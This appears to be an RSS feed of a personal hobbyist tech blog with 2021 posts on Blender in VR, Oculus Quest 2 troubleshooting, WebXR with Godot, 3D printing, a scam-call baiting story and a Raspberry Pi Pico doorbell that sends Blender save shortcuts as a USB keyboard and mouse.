Now, why is it called "VR Scene Inspector"?
Because you are expected to walk around the environment with your own two feet (or equivalent) there is no interaction with the controllers :(

And reading the [url title="documentation"]https://docs.blender.org/manual/en/latest/addons/3d_view/vr_scene_inspection.html[/url] implies that's all there is at the moment...

But reading through developer notes, commits and some other random places I have found three key things;

1: The Blender "VR Scene Inspector" experience is expected to be operated by two users. One using the headset and the second controlling the scene/camera on the host machine running Blender.
2: In the headset you cannot jump to landmarks via the controllers, but you can press SPACE on the keyboard (if you can reach) to teleport to the next landmark in the list in when in "fly navigation". OR I cannot **
3: "fly navigation" ( SHIFT + "`"), TAB turns gravity on and off. You can navigate around with keyboard WASD-EQ(up down)

For "fly navigation" to work you must be in the camera view when you start VR or the VR user will be unaffected.

You can also hold down SHIFT when pressing WASD-EQ to move fast or hold down ALT to go slow.

Your ground must be a Physics object. Ideally Rigid Body to avoid falling through the flour when you turn gravity is turned on.

Once gravity is turned on you can no longer use QE (up/down) but you can use "V" for JUMP!

** I do not think landmarks work when SPACE is pressed in "fly navigation" even though "Teleport" is an action listed. It seems to jump you to the 3D cursor's position.

You can create teleportable "landmarks" at locations or cameras, more information is in the [url title="2.90 Release Notes"]https://wiki.blender.org/wiki/Reference/Release_Notes/2.90/Virtual_Reality[/url]

I tried a all the different landmark creation options, but they all required the Blender desktop operator to click the little Activation circle next to the landmark name to work.
</description>
</item>
<item>
<title>no webxr in vr desktop</title>
<pubDate>Sat, 11 Sep 2021 20:34:41 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2021.html#p110920212034</link>
<description>
So with Virtual Desktop running you would have though a web browser on the host machine would be VR aware?

No!

So no WEBVR/WEBXR

That only works on the Oculus browser and the Firefox VR edition browser that are installed and run directly on the Quest 2 headset.
</description>
</item>
<item>
<title>blender in vr blender in vr</title>
<pubDate>Sat, 11 Sep 2021 20:32:08 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2021.html#p110920212032</link>
<description>
After a bit of fun getting the Oculus Quest 2 ready 
(see previous post) [url title="VR Virtual desktop black top fix"]Sep2021.html#p110920212027[/url]

I was now poised to just run Blender and bask in the VR glow of my own scenes...

All you need is a recent build of Blender (anything since 2.83) and navigate to the folder where it is installed 
(mine was C:\Program Files\Blender Foundation\Blender 2.93\)
and run [code]blender_oculus.cmd[/code] (double click)
and for me that didn't work :(

[img alt="screen capture file explorer blender oculus command files"]images/blender%20oculus%20cmd%20Screenshot%202021-08-28%20200220.png[/img]

but a little bit of investigation shows that this VR support is in Beta and I have to manually update the link to folder where the Oculus software is installed.
In the Blender folder is a file called [em]oculus.json[/em]
edit the path in that to where the Oculus [em]LibOVRRT64_1.dll[/em] file is
when edited mine was
[code]"library_path": "D:\\Oculus\\Support\\oculus-runtime\\LibOVRRT64_1.dll"[/code]
(notice the double slashes)

and now running [em]blender_oculus.cmd[/em] and doing a dance to "Press any key" (while wearing the headset a couple of meters away from the desk with the laptop) Blender loads and I can switch into VR mode and see my scene.

[img alt="Screen capture Blender in VR"]images/blender%20in%20vr%20Screenshot%202021-08-28%20202713.png[/img]

Word of WARNING : Don't try and set the view to Cycles, the frame rate tanked. But Eevee or workspace views work just fine.

Another post will go into the Blender VR scene inspector in a bit more detail.
</description>
</item>
<item>
<title>oculus vr desktop app not that one</title>
<pubDate>Sat, 11 Sep 2021 20:27:23 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2021.html#p110920212027</link>
<description>
I have been using the Oculus Quest 2 Air Link without issue at home. This allows a PC to run PC VR games (Rift and Vive) and the Quest 2 is just a passive headset. Lots of people have had problems with  Wifi issues, so Oculus have kept it in Beta to avoid complaints. I had no problems and worked really well ... until

I was at a different location with twitchy Wifi. Should not be a problem, just plug in a USB C cable from the PC to the headset. This is called Oculus Link and I had used it before without issue. Except it didn't want to work.
Long story short, you must EXPLICITLY disable the Air Link (which is hidden in the Experimental settings) before the old Oculus Link will work with a cable. 

Now I had a chance to do something that I could not get working before. Virtual Desktop (not Virtual Desktop the app*), the option built into the Oculus software on the PC. 
When I tried it I would just get a blank window (hovering in 3D space). What was weird was that if I move the pointer sometimes I would see it change to a resize or text input icon, as if there was something hidden in the blackness.

Turns out lots of people have had this issue, but they all had something in common. A gaming laptop. My Alienware laptop has two graphic adaptors, an in-built motherboard chipset Intel HD 530 and a NVidia GeForce GTX 970M. For some reason this combination freaks out the Oculus software.

The fix is to change the graphics card that is used when the Virtual Desktop is run.

Go into Windows Graphic Settings

[img alt="screen capture windows GFX settings"]images/gfx%20settings%20Oculus%20added%20Screenshot%202021-08-28%20192348.png[/img]

Browse and find the OVRServer_x64.exe
Usually in C:\Program Files\Oculus\Support\oculus-runtime\
but mine was on the D drive

[img alt="screen capture file browser Oculus OVR server"]images/gfx%20open%20oculus%20ovr%20server%20D%20Screenshot%202021-08-28%20192445.png[/img]

and set the options to Intel Power saving (which seems an odd choice)

[img alt="screen capture Windows GFX added options for Oculus"]images/gfx%20settings%20Oculus%20added%20options%20Screenshot%202021-08-28%20192348.png[/img]

Restart the Oculus software and it just works!
(though I did get an error message and had to restart the computer and then it worked)

You can watch a video (swearing from the outset) detailing each step.
[url title="vr oculus graphic settings video fix"]https://www.youtube.com/watch?v=H_WbAHVV7o4&ab_channel=TheIsaiahCC[/url]

Now I had Virtual Desktop (not Virtual Desktop the app*) working I could try out Blender in VR !

*I have bought the 3rd party Virtual Desktop app which was the is way of doing Steam VR with the Quest. It also enabled some features that Oculus even   rolled out on the Quest 2. No regrets.
</description>
</item>
<item>
<title>usb heats up your a quest</title>
<pubDate>Sat, 11 Sep 2021 14:37:24 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2021.html#p110920211437</link>
<description>
Another(*) quick Oculus Quest 2 tip.

Please use a USB C to USB C cable with NO ADAPTORS when charging!!

I tried using my long USB A to USB C cable to charge the Quest and it got VERY HOT! (It was only charging for an hour)

I have seen some people melt the casing on the headset, but believed that was an after market charger to blame.

It appears the Quest 2 uses the USB C correctly and negotiates power requirements. When I used a USB A source connector that negotiation was ignored.

* Posting out of sequence :D
</description>
</item>
<item>
<title>project fifty percent of the wifi</title>
<pubDate>Sat, 11 Sep 2021 14:34:48 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2021.html#p110920211434</link>
<description>
A nice non-Apple related tech incident I was involved in investigating.

Residential Wifi 80Mbps

Test one: (Next to the hub) Phone on Wifi speed test
Result: near enough 80Mbps

Test two: (Near a ISP provided signal booster) Laptop speed test
Result: 39Mbps

(from here on all tests are done next to the signal booster and are speed tests)

Test three: Same Phone on same Wifi
Result: Full speed.

Test four: laptop again
Result: Half speed

Test five: unplug everything from laptop (it had a lot connected; printers, drives, mice, keyboard, USB hubs and more!)
Result: Full speed

OK, so we need to plug each item back in and test ...

Test six: Plug-in power and external HDD
Result: Half speed

Ah ha! I hear you say it must be the external HDD !

Test seven: Un-plug external HDD
Result: Half speed

Uh Oh!

Double check everything, same results.

Test (lost count): Un-plug power
Result: Full speed

Double check everything, same results.

Tried a different wall socket, even though it was in a surge protected one.
Result: Half speed

Tried a spare PSU (never been opened).
Result: Half speed

Tried another laptop (mine) on the same power socket
Result: Full speed

Checked all the Windows 10 settings related to Power and updated Wifi drivers.
Result: Half speed

Hours of searching and I find a single mention of "Projecting to this PC". Never heard of this before, but we had exhausted all other avenues.

[img alt="screen capture of the windows 10 settings"]images/Projecting%20Screenshot%202021-08-30%20224953.png[/img]

[img alt="screen capture of the windows 10 settings Project to this PC"]images/Projecting%20off%20Screenshot%202021-08-30%20224953.png[/img]

Turned it off and ... that fixed it !

Apparently if a laptop is powered then this function does something "funny" with the network bandwidth and when it's on battery it does not.

Possibly it "reserves" bandwidth for screen sharing.

The user was confused, because what they wanted to do (a while ago) was share photos from the laptop to a smart TV and this "Projecting" option was the only related thing they could find.
</description>
</item>
<item>
<title>another bad apple</title>
<pubDate>Sat, 11 Sep 2021 14:26:41 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2021.html#p110920211426</link>
<description>
I often proclaim my visceral hatred for Apple products, but I cannot seem to stop anyone else from using them.

So it was just the other week when a Mac Book owner asked me for help. The mouse pointer would move around the screen but they could not click on anything or type.

Sure enough the mouse was moving around but something else was happening. The screen was acting as if the left mouse button was down and it was stuck in the middle of doing a drag selection.

I suggested rebooting and it was then that they informed me that it had done something similar only a few days ago and rebooting had not helped. It had only resolved itself after being off for a day.

Pondering my limited options and being blamed for causing the situation, I suggested that the Apple (magic) mouse might be interfering, as they were currently using the track-pad. They quickly explained that the mouse was in a different room and that it was DEFINITELY turned OFF.

Having seen device interference like this back in the distant past I suggested looking for other electronic items that may be causing the issue. And I left it at that.

A few hours later I check in and everything is working perfectly. They had found the mouse in the bottom of a bag and ... Yes it was switched on with the left button pressed by other objects.

Don't trust user input, especially when they speak it!
</description>
</item>
<item>
<title>a little bit of graffiti in the data folder</title>
<pubDate>Thu, 19 Aug 2021 18:47:59 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2021.html#p190820211847</link>
<description>
I haven't bought a lot on the Quest2 even though the Oculus store has a daily deal and I often check those.

I saw [url title="Kingspray Graffiti"]http://infectiousape.com/[/url] and it had so many great [url title="reviews"]https://www.oculus.com/experiences/quest/2082941345119152/?locale=en_GB[/url]. Not just your average "I hearts" and "Gr8", but long thoughtful descriptions of why the reviewers liked it.

So I bought it and it's very good for the price (and I got it at a discount, so double bargain).

I was not very good at it at first, but I had fun. I had seen what other people had done with it, so I went looking for tutorials and there are lots.

Had some fun with my new found knowledge and snapped a few pics in the game to show here and then ...

[img alt="Kingspray graffiti tests in the van location - Oculus quest 2"]images/kingspray_van_bad.jpg[/img]
Just trying out the Van location and all the different can nozzles

[img alt="Kingspray graffiti tests in the underpass location - Oculus quest 2 - Japanese numbers"]images/kingspray_van_underpass_001.jpg[/img]
[img alt="Kingspray graffiti tests in the underpass location - Oculus quest 2 - a coloured ball"]images/kingspray_van_underpass_002.jpg[/img]
[img alt="Kingspray graffiti tests in the underpass location - Oculus quest 2 - outlining"]images/kingspray_van_underpass_003.jpg[/img]
[img alt="Kingspray graffiti tests in the underpass location - Oculus quest 2 - almost done"]images/kingspray_van_underpass_004.jpg[/img]
[img alt="Kingspray graffiti tests in the underpass location - Oculus quest 2 - completed"]images/kingspray_van_underpass_005.jpg[/img]


I fell down the rabbit hole. 

Firstly [url title="Kingspray Graffiti"]http://infectiousape.com/[/url] was originally available on the Oculus Rift and Steam stores. So lots of results of "How to download photos from Kingspray Graffiti" give you PC VR answers, that don't work. :(

One video referenced ADDING images (for reference) to the Quest2 and noted that you had to plug the Quest2 into a computer to see all the folders.

I had plugged it in before so I knew it would come up as a drive in Windows (after accepting the access in the headset).

The images were in 
/Android/data

not Pictures, Download, DCIM, Oculus/Screenshots or any of the other much more likely named folders

and not in "files" on the Quest (new app from Oculus)

There were lots of folders, but I found them in data/com.infectiousape.kingspray/files/Photos. Out of the 6 images only one would open in Windows Photo and then I am like "why is it using photos app?"
But I couldn't open in GIMP there were no options. Easy, I will just copy the files over (the whole data folder). First I will check the size, don't want to be copying 10s of gigs of data.

Windows said 544mb, after a while. So I copied it and ... it said "calculating time required to copy files" and then took a really long time.

"6 hours remaining" Doh!

Took about 15mins and now I have a 2.3gb folder - hmmm

Then, I couldn't unmount the Quest device and Windows is "You have an application using this device" even though I had closed ALL apps.

The name in the unmount drive window for the Quest was MTP and I recognise that from a Sony walkman (digital), the Microsoft Zune and it was also the default for digital cameras interfacing with Linux many many years ago.

I wondered if it would show up on my Pixel 3 phone if I plugged it in ...
Nope, didn't show the access request in the Quest and didn't show anything on the phone.

and they all worked fine!

Nothing special, but I wanted to post something :D

P.S. I went snooping around the other files and there was nothing of interest :(
</description>
</item>
<item>
<title>Getting the security to allow my hedgehogs into vr</title>
<pubDate>Thu, 19 Aug 2021 18:18:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2021.html#p190820211818</link>
<description>
I wanted to try VR development for the Oculus Quest 2. Looking into various options I came across the fact that WEBVR was being depreciated!

The good news being that a new WEBXR platform was taking its place.

What is WEBXR and what was WEBVR? Using a standard web page with the right Javascript libraries loaded allows a VR system to have VR experiences.
You will note I mention systems. A couple of examples;

HTC Vive headset connected to a PC running SteamVR and opening a web browser. The Vive only acts as a display, the PC has to "run" the web page. The PC has to have the power/memory/CPU/GPU to push the pixels.

Oculus Quest 2 using WiFi to connect to a web server. The Quest loads the entire page internally and the web server only has to worry about serving files. Meaning it could be a Raspberry Pi or even something smaller. 

There were a number of attempts to create handy WEBVR frameworks in the past and although some exist with updated WEBXR compatibility, I was looking for something different.

Enter Godot (pronounce G-Doh) an open source game development system in the vein of the proprietary Unity and Unreal. Luckily for me they had just included WEBXR support.

I followed this (slightly out of date) [url title="guide"]https://www.snopekgames.com/tutorial/2020/how-make-vr-game-webxr-godot[/url] that was created by a developer as he worked on the WEBXR support.

To start small I decide to create an object in Blender with multiple materials and a texture.

I created a very simple hedgehog and after seeing the different materials working in Godot I add a texture and painted the eyes and nose. It is all very scrappy because I was just testing the concepts.

To get it working you have to run an [em]HTTPS[/em] web service. Yes, you heard that right [em]HTTPS[/em]. Any attempt to use HTTP is [em]prohibited[/em] and there is no way around it.

In Ubuntu under WSL in windows I ran
[code]sudo npm i -g browser-sync[/code]
and after changing into the directory with the build output from Godot
[code]browser-sync start -s --https[/code]  

I could now use the built-in web browser on the Quest to connect to my machine on port 3000

Because there is no HTTPS/SSL certificate the browser complains (the desktop browser also does this)
[img alt="Cert error shown in VR on Oculus Quest 2"]images/oculus_html_dev_CERT_AUTH_INVALID.jpg[/img]
[img alt="Cert error shown in desktop browser"]images/oculus_html_dev_CERT_AUTH_INVALID_desktop.jpg[/img]

But clicking the "Advanced" button and then "Proceed" got me to the browser showing the entry point. This is also what you see on the desktop web browser.
[img alt="Enter VR button shown in VR on Oculus Quest 2"]images/oculus_html_dev_enter_vr.jpg[/img]
[img alt="Enter VR button shown in desktop browser"]images/oculus_html_dev_enter_vr_desktop.jpg[/img]

Clicking the "Enter VR" button that I had wired up in Godot switched the Quest in to VR mode and I was standing in my game world with three hedgehogs and cubed hands :Doh
[img alt="Screen capture from Oculus Quest 2 of Godot game with basic 3D objects"]images/oculus_html_dev_in_vr.jpg[/img]
The cube hand is too close to the camera and so is clipping and you can see through it :)

I want to do some quality testing going forward seeing how far I can push the Quest 2.

P.S. Did you notice the dodgy shading on the hedgehogs? That was where Blenders Shade smooth hid the flat shading issues. Also something I need to look into.

So why run on the game on the desktop? Well the people at Mozilla Mixed Reality have created two browser plugins
[url title="Chrome"]https://chrome.google.com/webstore/detail/webxr-api-emulator/mjddjgeghkdijejnciaefnkjmkafnnje[/url]
[url title="Firefox"]https://addons.mozilla.org/en-US/firefox/addon/webxr-api-emulator/[/url]
That you can bring up the browsers relevant developer tools and then you can fake changing the state of the virtual headset and controllers. Create for quick look around or just testing the controller actions.
</description>
</item>
<item>
<title>placeholder</title>
<pubDate>Fri, 06 Aug 2021 17:51:08 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2021.html#p060820211751</link>
<description>
Last time I had a true missing month it was 2011!

Anyway, this post is just a placeholder to stop another plain text missing month page.

And stuff has happened I am just not in a great place to relate it yet.
</description>
</item>
<item>
<title>opps where is june</title>
<pubDate>Fri, 23 Jul 2021 00:16:43 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2021.html#p230720210016</link>
<description>
Where did June go? I had a bit of a mental breakdown...

slowly making my way back to normal.

I guess this will be the only July post :(

Lots has happened, but I haven't got the bandwidth to post at the moment, hopefully more soon :D
</description>
</item>
<item>
<title>blender save raspberry pi pico doorbell video advert</title>
<pubDate>Sun, 16 May 2021 12:51:33 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2021.html#p160520211251</link>
<description>
So I had this video ready as a fun little advert to go with the planned video [url title="describing the build and coding process of the Raspberry Pi Pico Doorbell Blender saver"]//www.jumpstation.co.uk/flog/May2021.html#p010520211209[/url].

But I really didn't want it to go live just before on on April 1st, because it really works and I use it every time I use Blender!

Then I got despondent about making a coding/hardware video of Pico, but I had had so much fun making this little demo I had to get around to posting it eventually.

VIDEO PLACEHOLDER
</description>
</item>
<item>
<title>gentoo libigl symlink madness</title>
<pubDate>Sat, 15 May 2021 21:01:34 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2021.html#p150520212101</link>
<description>
Quick bit of Gentoo madness. I try and keep my Gentoo as clean as possible. No overlays, keywords lists sparse, follow all the news bulletins. Weird stuff does still occasionally happen.

Trying to do an update and libigl will not build

[output]fatal error: Eigen/Core: No such file or directory
   70 | #  include <Eigen/Core>
[/output]

which appears to be quite common and is fixed with
[code]ln -s /usr/include/eigen3/Eigen /usr/include/Eigen/Eigen/
[/code]

Unfortunatly that just got me to the next error

[ouput]
min_quad_with_fixed.h fatal error: unsupported/Eigen/SparseExtra: No such file or directory
[/output]

and some mucking about with symlinks eventually resulted in the solution being
[code]ln -s /usr/include/eigen3/unsupported /usr/include/unsupported
[/code]

there was some mention of missing Eigen/Dense, but that was fixed with the first symlink.

All this because I want Cuda for Blender, I think.
</description>
</item>
<item>
<title>benching an ender 3v2 with a optimal benchy</title>
<pubDate>Mon, 03 May 2021 11:44:31 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2021.html#p030520211144</link>
<description>
I tried really hard to print a [url title="Benchy"]https://3dbenchy.com[/url], but the Ender 3v2 was not having any of it :(

The first layer would just not stay stuck to the bed. I re-levelled a few times, spending a long time tweaking each corner over and over again. Didn't make any difference. A number of commenters have noted that the bed can sometimes come or become warped. But a ruler edge showed that my bed is perfect in all directions.

What to do?

The manual mentions cleaning the bed with 70% alcohol solution, which I did not have, so a quick Amazon and 24hrs later ...

Cleaned the bed and it looked great, had a clear finish compared with the dusty covering that existed earlier. So that was that and everything worked fine, NO!

Absolutely no difference. I even wondered if it was the [url title="Benchy"]https://3dbenchy.com[/url] STL my slicer had made. But even the default dog wouldn't print.

Then I remembered something I had heard before that I had previously discounted. The Ender 3v2 has a reversible bed. One side is glass and the other is clever texture that when cooled allows prints to pop off. What I had heard was the application of a glue stick is required to get a good first layer on glass. Would it work on the Ender 3v2 surface?

YES! [url title="Benchy"]https://3dbenchy.com[/url] printed fine first attempt.

[url title="Benchy"]https://3dbenchy.com[/url] printed with all the default settings on my Ender 3v2 in just over 2 hours.
[img alt="Ender 3v2 PLA printed benchy default settings in PrusaSlicer"]images/benchy2021-05-2d.jpg[/img]

Looking at the back and the little details. Actually looks better in person.
[img alt="Ender 3v2 PLA printed benchy default settings in PrusaSlicer rear"]images/benchy2021-05-2b.jpg[/img]

Because of the Ender bed texture I did not think this text would come out at all.
[img alt="Ender 3v2 PLA printed benchy default settings in PrusaSlicer base"]images/benchy2021-05-2c.jpg[/img]

This looks a bit fury, but that is just my pocket lint not printer issues.
[img alt="Ender 3v2 PLA printed benchy default settings in PrusaSlicer close up"]images/benchy2021-05-2a.jpg[/img]

So this is on the 0.16mm OPTIMAL slicer settings with PLA and compared to many printed [url title="Benchy's"]https://3dbenchy.com[/url] is pretty much perfect.

There is some stepping on the roof, tiny bridging at the tops of the windows and portholes. There were no supports to remove and no manual clean up required at all.

I also noticed a slight horizontal bow line, but only if you get the light just right. Apparently this from the internal in-fill.

One strange side-effect of the printing a [url title="Benchy"]https://3dbenchy.com[/url] is that it is so touchable. I keep fiddling with it, as I did with the early webcam cover prints.
</description>
</item>
<item>
<title>longest scam call to date thanks netflix amazon</title>
<pubDate>Sat, 01 May 2021 12:20:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2021.html#p010520211220</link>
<description>
Longest scam call, just over an hour.

Out of the blue get a phone call asking me to verify a new Netflix subscription. Hang up or press "speak to an operator" ? :D

Every time they changed their story I would get angry and man-splain every little thing they had told me up to that point. This happened a lot, from the fact they kept changing department, changing the amount, and even changing company, they became Amazon at one point.
Started with the first one who's only job was to get me to install [em]Anydesk[/em], strung him along for quite a while as I spun up a Linux VM. Was able to complain about anti-virus and network delays as I followed the [em]Anydesk[/em] instructions to install the Linux version (enable Ubuntu repositories etc etc).

Then I was able to play along as any other victim... Except the Linux version of [em]Anydesk[/em] doesn't want to allow unrestricted access and the options he wants me to click on a greyed out. After trying a few things I get transferred to second line.

Second line try to get me do all the same things and I can quite honestly explain that they are not working. After a few attempts to get me to install another remote desktop app, this time from a download link that is Windows only they manage to get connected to my VM with the already open [em]Anydesk[/em].

I get a new [em]Anydesk[/em] window and I have to allow all sorts of settings and now I can see a bright green "Netflix" labelled mouse pointer. They take me through W3C validator to prove Netflix website has errors for my account. It's all HTML issues, but they fixate on the warning "Duplicate ID" and try and convince me that is hackers duplicating my details.

Now I get to 3rd line support and where the last two have been polite and let me ramble, this guy is curt and continually cuts me off, demanding to talk. He gets me to run the W3C validator against online banking websites and the tries to get me to login.

After a lot of me faffing about on the banking website he clicks on "login" and tells me to log in to my bank. I tell him that I need to get my details and set some music ("Infected Mushroom") and leave the room. The telephone tells me this call has been going on for 55mins so far.

When I come back he has hung up, but the [em]Anydesk[/em] connection is still active and whoever is at the other end is bored and keeps clicking all over the online banking page and then starts routing around in the Linux applications menu.

There is a chat option in the [em]Anydesk[/em] windows so I type "do you give up?", no response, but he has not disconnected and the [em]Anydesk[/em] ID for his account is showing, so...

I open up the [em]Anydesk[/em] website and casually browse around the scam reporting options and then fill in a form with his [em]Anydesk[/em] id. At this point I can see the "Netflix" mouse arrow desperately trying to click repeatedly on the, now minimised [em]Anydesk[/em] icon, to no avail.

After completing the report in front of him, I go back to the chat and add "Streaming on twitch". To my surprise he responds
[output]show us
try your best[/output]

I then engage him in conversation for a good 10-15mins, with him swearing and claiming him only scammed £200 in his life and my telling him how that could be enough to put someone out on the street (I said in the snow).

I like to think that in the time I wasted at least one person was protected from being scammed.

Can I be bothered to create a fake online banking system like the scam baiters do on YouTube? Not at the moment :D
</description>
</item>
<item>
<title>doorbell saves pico blender</title>
<pubDate>Sat, 01 May 2021 12:09:34 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2021.html#p010520211209</link>
<description>
I was going to put this out as video, but I was also going to have it ready at the beginning of April, so I am dumping it here now before it disappears completely.

In my [url title="previous video"]Mar2021.html#p020320212254[/url] I detailed how to write automation code that will create render montages for saved Blender files. Blender supports making these iterative save files from the "File/Save As" menu, but it requires you to

Stop what you are doing, find the File and Save As menus then ensure the mouse is over the Save As dialog and click the [+] and then click Save. You can shortcut some of these with CTRL+SHIFT+S to bring up the dialog and press Plus on the Numpad, then Enter to avoid clicking the save button.

What if I had a single button that would do all that for me? I could get on with the fun of Blendering!

After swapping our old push button doorbell for a flashy new Ring doorbell, I had one spare 11 year old push button. I also had two Raspberry Pico boards and what would you know, they are about the same size as the doorbell casing.
[url title="Novaspirit Tech"]https://www.youtube.com/playlist?list=PL846hFPMqg3h4HpTVO8cPPHZnJIRA4I2p[/url] had done a couple of videos on the Pico, including using it as a fake USB mouse to cheat a mobile game. Could I get the Pico to be a USB mouse and a USB keyboard? And could I send the actions from the Pico to my Blender running machine?

Lets find out, but long story short, yes I did.

If you want to understand how I put it all together and why the mouse emulation speed is so slow keep <s>watching</s> going, otherwise have a nice day, you are likely to find the next bit boring.

I decided to run all the development from a Raspberry Pi 4, thinking all the tooling would be set up for minimal hassle. I regret this decision, it should have worked on any Linux machine.

I did update Thonny before starting as that is the only tool we really need.

There certainly are some other pre-requisites;

First we need to install Circuit Python that has the USB HID support
go to circuitpython.org and then select Raspberry Pi Pico

[url]https://circuitpython.org/board/raspberry_pi_pico/[/url]

The chip on the Pico is RP2040 and I got the the latest version at the time was 6.2.0-beta.3

Adafruit CircuitPython 6.2.0-beta.3 on 2021-03-04; Raspberry Pi Pico with rp2040

Plug the Pico in while holding down the BootSel button, let go and you have a new drive attached to your computer

Drag and drop the UF2 file you just downloaded to the Pico drive and it will reboot and come back ready in less than a second.

Thonny will now be able to talk to the Pico.

Occasionally Thonny did not find the Pico first time and I had to go into settings and select it manually

[output]Couldn't find the device automatically. 
Check the connection (making sure the device is not in bootloader mode) or choose
"Configure interpreter" in the interpreter menu (bottom-right corner of the window)
to select specific port or another interpreter.[/output]

Next

we want the Adafruit USB HID library, this gives us lots of pre-written functions that make life a lot easier.

Download the NPY Release from Adafruit Github Circuit Python HID repository
[url]https://github.com/adafruit/Adafruit_CircuitPython_HID[/url]

Unzip it and copy the lib/adafruit_hid file back onto the Pico that now has it's own lib folder, since we installed Circuit Python on it.

Now I am going to take you through the code I wrote, but you can just get it from GitHub
[url]https://github.com/robgithub/pico_blender_doorbell[/url]

Import all our required libraries
[code]import time  #for delays
import digitalio # so we can use the Pico Pins
import board # so we can reference the Pico pins
import usb_hid # go in to USB Human Interface Device mode
from adafruit_hid.mouse import Mouse    # do mouse stuff
from adafruit_hid.keyboard import Keyboard # do keyboard stuff
from adafruit_hid.keycode import Keycode # reference all the special key codes[/code]

Move the mouse by increments with delays, bit long winded, but if you stay until the end you will find out why I put it all in.
[code]def move_mouse_by(x, y, mouse, delay, jump):
    print("MMB({0}, {1})".format(x, y))
    while (x != 0 or y != 0):
        mx = limit(x, jump)
        my = limit(y, jump)
        mouse.move(mx, my)
        x -= mx
        y -= my
        time.sleep(delay)[/code]
        
A limit function, so that either the value passed or the maximum is returned
[code]def limit(value, by):
    return min(by, max(-by, value))[/code]


Mousing around, move the mouse top left by the screen width and height, forcing it into a corner.
Then move it to half the width and height, ideally the middle of the screen.
[code]def center_mouse(screen, mouse):
    move_mouse_by(-screen["width"], -screen["height"], mouse, 0, 100)
    move_mouse_by(int(screen["width"] /2), int(screen["height"] /2), mouse, 0.02, 5)[/code]

A loop that just sits and waits for the button to be pressed or wires touched

Sleeps for 10 seconds after everything has finished to avoid accidental re-saves
[code]def button_loop(led, btn, keystrokes, keyboard, mouse, screen):
    while True:
        led.value = True
        if btn.value:
            print("Btn pressed")
            led.value = False
            do_blender_save_as(keystrokes, keyboard, screen, mouse)
            time.sleep(10)
        time.sleep(0.1)[/code]

Send our keyboard key sequence, one press at a time, including combinations
[code]def send_keystrokes(keystrokes, keyboard, delay):
    for keystroke in keystrokes:
        if type(keystroke) is list:
            keyboard.send(*keystroke)
        else:
            keyboard.send(keystroke)
        time.sleep(delay)[/code]
        
Do the Blender Save As
coordinates calling the other mouse and keyboard functions to perform the Blender Save As process
[code]def do_blender_save_as(keystrokes, keyboard, screen, mouse):
    center_mouse(screen, mouse)
    send_keystrokes(keystrokes, keyboard, 1)[/code]

and the main function to set everything up

Tell the Pico which pin we are using for the button and how it is wired

Tell the Pico we want to use the Power LED

Configure our key stroke patterns

define the screen size and kick off the main button loop

[code]def main():
    # Set up a input button on GPIO Pin 15
    btn_pin = board.GP15
    btn = digitalio.DigitalInOut(btn_pin)
    btn.direction = digitalio.Direction.INPUT
    btn.pull = digitalio.Pull.DOWN

    # Set up the Pico onboard LED 
    led = digitalio.DigitalInOut(board.GP25)
    led.direction = digitalio.Direction.OUTPUT
    
    # Create Mouse and Keybord devices
    mouse = Mouse(usb_hid.devices)
    keyboard = Keyboard(usb_hid.devices)
    # List the keystrokes we want to initiate on button press
    keystrokes = [[Keycode.CONTROL, Keycode.SHIFT, Keycode.S], Keycode.KEYPAD_PLUS, Keycode.ENTER]
    # define the target screen size
    screen = {"width":1920, "height":1080}
    button_loop(led, btn, keystrokes, keyboard, mouse, screen)[/code]

While writing your own code you get stuck with the Pico not responding, click in the Thonny command window and Press CTRL+C

[output]Device is busy or does not respond. Your options:

  - wait until it completes current work;
  - use Ctrl+C to interrupt current work;
  - use Stop/Restart to interrupt more and enter REPL.
[/output]

To make sure I was sending the correct key codes from the Pico I ran xev, which shows exactly which key code are being sent.

The tricky part was the mouse movement and why it is currently so slow.
Every time I tested the mouse moving code with small jumps it seemed to to work fine, but the move to the middle of the screen would always overshoot.
I will not bore you with the details, but it turns out that nearly all modern operating systems since 2000 have had mouse acceleration curves built in.
I tried one big jump, lots of little jumps, but got the same overshoot, only when I added in significant delays did it behave.

I got to point where I was running the code over and over again and tracking what jump I was making and what pixel position the mouse was ending up at

[code]while true; do xdotool getmouselocation;sleep 0.2;done[/code]

In theory an updated USB HID library could tell the mouse where to BE instead of where to GO and bypass this issue.

The Pico almost fitted exactly in the doorbell casing.
"Almost" was fixed with a little bit of dremeling
then I super glued a piece of plastic packaging over the back. Waited for it to dry out and the cut away the excess.

Cost;
Pico £3.60
Cable - had one spare
Doorbell - was going in the bin (around £3 new)
(or you can just push two wires together)

It really is a handy piece of kit and I have already used it 34 times during the making of the intro video and I intend to continue to use it for future Blenderings

[img alt="photo showing raspberry pi pico inside a doorbell"]images/usb_doorbell_open_casing_45.png[/img]
[img alt="photo showing raspberry pi pico powered doorbell button connected to USB"]images/usb_doorbell_front_connected_powered.png[/img]


OK, so that was a bit of brain dump, but it would have made a reasonable video, just do not have the time and I do not see the value.
There were actually a load of videos and still images created for the video :D


</description>
</item>
<item>
<title>seeing the wrong print on an ender</title>
<pubDate>Sun, 25 Apr 2021 19:47:56 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2021.html#p250420211947</link>
<description>
Some of the failed prints left a clear foot print of destruction. From a 5mmx20mm base you could clearly see where the print was good and which corner was bad. If there was bubbling then the bed was too low, where there was smudging the bed was too high.

As well as trying the 3D Benchy print I want to try something that requires supports. That is a model that would fall over if there was not  something else propping it up.

I am really impressed with the Ender 3 v2 and from looking around it does seem to be the one most people recommend for a sub &pound;200 3D printer.

The filament costs around &pound;20 and the way I am using it means it will be a while before I need any more.
</description>
</item>
<item>
<title>start to finish evolution of a 3d printed webcam cover</title>
<pubDate>Sun, 25 Apr 2021 12:51:49 BST</pubDate>
